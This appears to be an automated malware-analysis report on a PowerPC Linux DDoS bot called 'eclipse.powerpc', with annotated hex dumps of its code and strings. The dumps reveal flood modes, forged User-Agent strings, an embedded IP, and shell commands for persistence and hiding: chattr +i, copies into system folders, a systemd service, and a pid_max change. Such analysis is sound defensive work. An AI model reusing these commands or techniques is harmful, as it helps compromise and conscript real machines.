Hostile ^100% Download

eclipse.powerpc

DDoS, persistence, anti-forensics

Cron with hidden file pathsELFOOD marker for ELF header corruption

SHA-256ee49736bb00105c87603fad83dc51a753a9c22ae292fc0c04bdcf0781ab26674

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeK(Li)O₆(AsI₄P₃SDyPr)H₅(F₁₄Cm₄Db₂Os₆Po₃)Md₂(Bi₂He)

Evidence

PowerPC socketcall connect operation wrapper 0xbb0c–0xbc6c

⋯3 more rows
0xbb3c4e8000209421ffe07c0802a690610008N.. .!..|....a..
0xbb4c386000039081000c38810008900100248`......8......$
0xbb5c90a10010480020598001002438210020....H. Y...$8!. 
⋯7 more rows
0xbbdc4e8000209421ffe07c0802a690610008N.. .!..|....a..
0xbbec3860000a9081000c38810008900100248`......8......$
0xbbfc90a1001090c1001448001fb580010024........H......$
⋯7 more rows

PowerPC socketcall socket operation wrapper 0xbd40–0xbe00

⋯3 more rows
0xbd704e8000209421ffe07c0802a690610008N.. .!..|....a..
0xbd80386000019081000c38810008900100248`......8......$
0xbd9090a1001048001e258001002438210020....H..%...$8!. 
⋯7 more rows

PowerPC Linux socketcall syscall wrapper 0xdb88–0xdc58

⋯3 more rows
0xdbb87c0802a69421fff093e1000c90010014|....!..........
0xdbc838000066440000027c000026740910008..fD...|..&t...
0xdbd87c7f1b7841a200104bff4cfd93e30000|..xA...K.L.....
0xdbe83860ffff8001001483e1000c382100108`..........8!..
⋯7 more rows

References Mozilla/5.0 User-Agent prefix 0x1756b–0x1777b

⋯5 more rows
0x175bb24382100207c0803a64e8000202d6400$8!. |...N.. -d.
0x175cb0039342e3135342e34332e3130300000.94.154.43.100..
0x175db00504f4e470a00000025730a00706f77.PONG....%s..pow
0x175eb657270630050494e470000000042524ferpc.PING....BRO
0x175fb41444341535400000020000000200a00ADCAST... ... ..
0x1760b005544505f464c4f4f44000000554450.UDP_FLOOD...UDP
0x1761b5f5050530053594e5f42595041535300_PPS.SYN_BYPASS.
0x1762b0048545450535f464c4f4f4400000000.HTTPS_FLOOD....
0x1763b0a000000004d6f7a696c6c612f352e30.....Mozilla/5.0
0x1764b20284d6163696e746f73683b20496e74 (Macintosh; Int
0x1765b656c204d6163204f5320582025732920el Mac OS X %s) 
0x1766b4170706c655765624b69742f3533372eAppleWebKit/537.
0x1767b333620284b48544d4c2c206c696b652036 (KHTML, like 
0x1768b4765636b6f29204368726f6d652f3135Gecko) Chrome/15
0x1769b342e302e383033372e393220536166614.0.8037.92 Safa
0x176ab72692f3533372e3336000000004d6f7ari/537.36....Moz
0x176bb696c6c612f352e3020284d6163696e74illa/5.0 (Macint
0x176cb6f73683b20496e74656c204d6163204fosh; Intel Mac O
0x176db5320582025733b2072763a25642e3029S X %s; rv:%d.0)
0x176eb204765636b6f2f323031303031303120 Gecko/20100101 
0x176fb46697265666f782f25642e3000687474Firefox/%d.0.htt
0x1770b702f312e310000000032365f30000000p/1.1....26_0...
⋯7 more rows

ELFOOD marker for ELF header corruption 0x1779c–0x17a8c

⋯5 more rows
0x177eccca8c013c014009c009d002f00350000.........../.5..
0x177fc2f746d702f2e65002e65636c69707365/tmp/.e..eclipse
0x1780c000000002864656c6574656429000000....(deleted)...
0x1781c2f746d702f0000002f70726f632f6e65/tmp/.../proc/ne
0x1782c742f74637000000072000000252a643at/tcp...r...%*d:
0x1783c20252a783a257820252a7320252a7320 %*x:%x %*s %*s 
0x1784c252a7320252a7320252a7320252a7320%*s %*s %*s %*s 
0x1785c252a7320257500002f70726f63000000%*s %u../proc...
0x1786c2f70726f632f25642f66640025732f25/proc/%d/fd.%s/%
0x1787c73000000736f636b65743a5b25755d00s...socket:[%u].
0x1788c2f70726f632f25642f65786500000000/proc/%d/exe....
0x1789c2f70726f632f73656c662f6578650000/proc/self/exe..
0x178ac6563686f20273027203e202f70726f63echo '0' > /proc
0x178bc2f7379732f6b65726e656c2f7069645f/sys/kernel/pid_
0x178cc6d617820323e2f6465762f6e756c6c00max 2>/dev/null.
0x178dc756c696d6974202d7520353020323e2fulimit -u 50 2>/
0x178ec6465762f6e756c6c0000000063702025dev/null....cp %
0x178fc73202f7661722f746d702f257320323es /var/tmp/%s 2>
0x1790c2f6465762f6e756c6c00000063702025/dev/null...cp %
0x1791c73202f7573722f6c69622f257320323es /usr/lib/%s 2>
0x1792c2f6465762f6e756c6c00000063686d6f/dev/null...chmo
0x1793c64202b78202f7661722f746d702f2573d +x /var/tmp/%s
0x1794c202f7573722f6c69622f257320323e2f /usr/lib/%s 2>/
0x1795c6465762f6e756c6c0000000063686174dev/null....chat
0x1796c7472202b69202f7661722f746d702f25tr +i /var/tmp/%
0x1797c7320323e2f6465762f6e756c6c000000s 2>/dev/null...
0x1798c636861747472202b69202f7573722f6cchattr +i /usr/l
0x1799c69622f257320323e2f6465762f6e756cib/%s 2>/dev/nul
0x179ac6c0000007072696e746620275b556e69l...printf '[Uni
0x179bc745d5c6e4465736372697074696f6e3dt]\nDescription=
⋯9 more rows
0x17a5c692d757365722e7461726765745c6e27i-user.target\n'
0x17a6c203e202f6574632f73797374656d642f > /etc/systemd/
0x17a7c73797374656d2f25732e736572766963system/%s.servic
0x17a8c6520323e2f6465762f6e756c6c000000e 2>/dev/null...